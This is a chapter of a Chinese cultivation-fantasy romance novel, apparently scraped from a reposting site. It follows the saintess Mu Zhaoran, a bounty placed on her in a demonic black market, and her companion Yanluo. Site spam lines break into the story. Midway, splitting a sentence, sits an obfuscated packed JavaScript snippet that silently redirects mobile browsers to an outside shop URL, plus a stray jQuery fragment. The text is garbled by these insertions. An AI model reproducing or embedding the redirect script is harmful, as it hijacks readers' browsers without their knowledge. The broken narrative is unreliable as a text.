慕昭然登上车厢,关闭车门,命车队起行。
“你不是在西境么?慕昭然低声问道。
虽然法尊没有再亲自出手,但阎罗依然是天道宫头号诛杀对象,各境都有修士在追捕以琴控蛊的蛊修,和前世倒也没有多大差别了。
阎罗微一歪头,青丝从肩上滑落下来,从袖中取出一张灰扑扑的烂布,话音含着几分笑意,说道:“圣女殿下这条命,在无间鬼市的悬赏榜上可是很值价的,连我都收到了邀请。
慕昭然睁大眼睛道:“无间鬼市?是那个缥缈不定的鬼域蜃楼?
据说在那里出入的大多是些亡命邪修,所修之道俱都是修罗恶鬼道,非穷凶极恶之徒不得入,慕昭然只听说过这个地方,还没有去过。
一年时间过去,灵尊之死早已传开,宁氏捉妖师一族没落,什么妖魔鬼怪都敢往洛金山踏足,自然挖掘出了不少内情。
阎罗能凭一己之力击杀灵尊,虽为正道不容,但他在魔道之中却是声名赫赫,无间鬼市自然对他大开门庭。
眼见慕昭然眼中冒出的精光,阎罗了然道:“以后带你去。
慕昭然满意点头,凑过去就着他的手瞥了一眼烂布上的内容,“这是我的悬赏令?等数完上面的金额,她撇一撇嘴角,不甚满意道,“什么嘛,本公主就值三百万上品灵石?
阎罗不由失笑:“殿下已经是悬赏榜上排名第二之人了。
慕昭然一脸的不服输,“第一是谁?
阎罗道:“行天剑,七百六十三万灵石,是百年来无数笔悬赏令加起来的总金额。
无间鬼市存在已久,甚至比天道宫都还要久远,就像是一处污秽汇聚的阴沟,里面盘踞着不能见天日的东西。
悬赏榜也历来有之,和天道宫的罪碑不同,那榜上不分正邪之人,只要有人掏得出灵石,投入灵石池,就能悬赏杀人。
一百万灵石能发布悬赏,一块灵石亦能发布悬赏,若是悬赏之人为同一个,悬赏金额累加。
游辜雪替天行道了这么多年,得罪了不少人,想要取他项上头颅之人比比皆是,累积起来便成了一笔巨款。
南荣圣女的悬赏令却不同,是最近突然上榜,看来是有财大气粗者,一口气投了这么多灵石,想要买她的命。
慕昭然这么一听,觉得自己倒也算是值价,三百万上品灵石,乌团一天吃十块,也足够它吃三十万天了,如此一算,就连她自己都有点心动了。
打跑狐狸的乌团追上车队,绕着车辇转了一圈,都没找到地方钻进去,只得蹲在车顶之上,发出嗷呜嗷呜的猫叫。
阎罗翻手召出一只
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
蝴蝶勾开一隙窗缝放出去头顶的猫叫声终于消停。
“我的悬赏令是什么人发布的?”慕昭然蹙眉问道心里快速闪过几个人选天道宫法尊若想要她死实在犯不上去邪魔堆里发布悬赏令最有可能便是叶戎。
但叶戎的根基在凡间三百万上品灵石对他来说不是个小数那便是追随他的南境世家。容亭觉这个两面三刀的货她必宰了他。
阎罗摇了摇头:“无间鬼市的悬赏皆为匿名悬赏
慕昭然啧了一声也并不惊讶有叶离枝在鲛族和叶戎也不是没可能勾搭在一起。
究竟是何人悬赏她的这个问题并不重要阎罗又从袖中掏出一张地图来灵力化作小小星芒一连点在地图数个地方“就我目前所知这些地方都有埋伏等着你自投罗网。”
从圣女的车驾驶出天都城的城门那一刻就有无数双眼睛在暗中盯着她了只不过慕昭然临时起意绕去其他地方查看山水枯竭的情况让人无法判断她的前行路线反倒阴差阳错地避过了几次袭击。
现今车驾重新回到官道上来慕昭然打眼一看要回南荣那可真得过五关斩六将了。
阎罗说道:“我可以带你绕行。”这也是他急着赶来的目的。
慕昭然盯着地图片刻意气张扬地仰起下巴哼道:“不绕!”
她堂堂南荣公主圣殿主人回一趟家没道理还要偷偷摸摸的。
慕昭然先时为了查探各地山水情况一直低调行事这会儿直接命人插上南荣圣殿的旗帜大张旗鼓地换上了圣女出行时的排场。
随后她祭出圣女令向沿途的各大修仙世家发去召令强硬地命令他们前来护法。
南荣国君掌政圣殿供奉承天鉴掌南境修道之事虽干涉不了朝廷政务但只要圣殿一日还没有易主圣女令在南境的修道之人就须有一日听从她这个圣女的指令。
圣女召令很快传到各家家主手里容氏主宅中各家家主收到召令信息不约而同地抬头往主座上看去等待着容氏家主的指示。
宁衰跟着裴随之也在堂中。
容亭觉站在他父亲身边视线扫过召令内容“要各大世家立即清点二十名元婴修士、三名化神修士夹道相迎随行护送殿下的排场还真是大。”
元婴修士倒还好说能修至化神的基本都是各家的掌权者这是要家主亲自去迎她。
左下一位家主道:“殿下通过圣女令发下如此清晰的命令就是想糊弄都没办法
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
糊弄。”
南境的各大世家都曾在圣女令中立下过契约,宣示效忠,皆受圣女令的约束。
他们可以对圣殿长老阳奉阴违,甚至反过来将圣殿修士困于王城之中,皆因为圣殿长老没有资格掌管圣女令,约束不了他们。
如今圣女归来,发下号令,若不遵圣令之命,他们这些家主可是会受到契约反噬的。
容家主沉吟片刻,道:“既是圣女有令,我等自当遵守。”
他转动视线扫过堂下众人,点了三名化神修士,“就烦请三位家主带人前去,好好护送我们的圣女殿下。”
承天鉴时日无多,即便慕昭然回到圣殿也于事无补,只待承天鉴毁,那一枚圣女令便也再无用武之地。
届时,也该到了改天换日的时候。
慕昭然发出召令之后,便不再继续前行,命令车队往附近的驿站停顿休整。
阎罗也知自己这一幅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335320|165084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
形象,不便跟随在她身边在外露面,到了此时,才慢条斯理地取下面具,露出一张五官立挺,英气逼人的面容。
乍眼一看,和师兄原本的长相略有三分相似,但许是这张脸右侧眉尾多了一点红痣,便让这幅清冷的五官显出几分邪气来。
慕昭然疑惑地伸手去摸他的脸颊,触感竟也无比真实,“这张脸是?”
“烟瘴海的望海城封城后,螟蛉和螽斯成了游医,我恰好遇见了他们,便让他们照画像做了几张人皮面具。”阎罗挑了下眉梢,幽幽盯着她,“这幅面貌,你不记得了?”
慕昭然茫然道:“记得什么?”
阎罗取出一卷画像展开,“这是我凭记忆重画的。”
慕昭然看到画像,才蓦然想起来,前世她也曾好奇过他若是没有毁容,面具下的那张脸会是什么样子,闲来无事之时,便凭着在黑暗中用手指描摹过的轮廓,按照自己的想象,画了几幅画像。
这一幅,算是她最为满意的。
眉尾的那一颗痣,便是最好的证明。
因为满意,才会想要在自己的画作上多添一点独属于她的点缀。
慕昭然睁大眼,“这些画我画好之后,当场便烧毁了,从没有给你看过。”
毕竟在一个毁容之人的面前,拿出她自己臆想的美男图,怎么看都是一种挑衅。
阎罗道:“要将一炉纸灰复原,虽然很难,但并不是全然无法办到。”
慕昭然无言以对,沉默了下,夸赞道:“……师兄有这样的钻研精神,做什么都能成。”
阎罗轻笑一声,问道:“那殿下给我一个什么身份,让我好能留在你身边。”
慕昭然伸手勾了勾他的下巴,“你都这么自觉地爬上我的车了,当然就只能当男宠了。”
到达驿站,驿站的驿官诚惶诚恐地迎接她入内。
慕昭然下来车辇,乌团从车顶跃下,跳进她怀里,慕昭然一看它嘴边的鳞粉,惊讶道:“你把蝴蝶吃了?”
乌团舔了舔嘴巴,歪头喵呜一声,不仅吃了,它还觉得很美味。
慕昭然属实无奈,乌团这只蠢猫,他的蛊虫它也敢随便吃。
“蝴蝶无毒,还很补。”阎罗回道,弯腰钻出车厢,走下车辇。
霜序等人见着一个陌生男子忽然从圣女车驾上下来,俱都是一惊,条件反射按压在腰间配剑上,错愕道:“殿下,这是?”
他们守护在车驾四面,竟浑然不知车内何时多了一人,显然对方的修为更高。
慕昭然摆摆手,“不用紧张,这是我之前在外历练时,认识的朋友。”
阎罗眉心微蹙,转眸看向她,双眼明晃晃地写着“你骗我”三个大字,看上去比起朋友,他更喜欢男宠那个身份。
慕昭然:“……”她前两日还在和游辜雪卿卿我我,才离开天道宫就养男宠,这说得过去吗?她在属下面前,还是需要树立一些良好形象的。
霜序仔细大量过那人的相貌,心下忧虑,殿下才出天道宫,身边就多了个和故人三分相似的“朋友”,行天君不会从天道宫杀过来吧?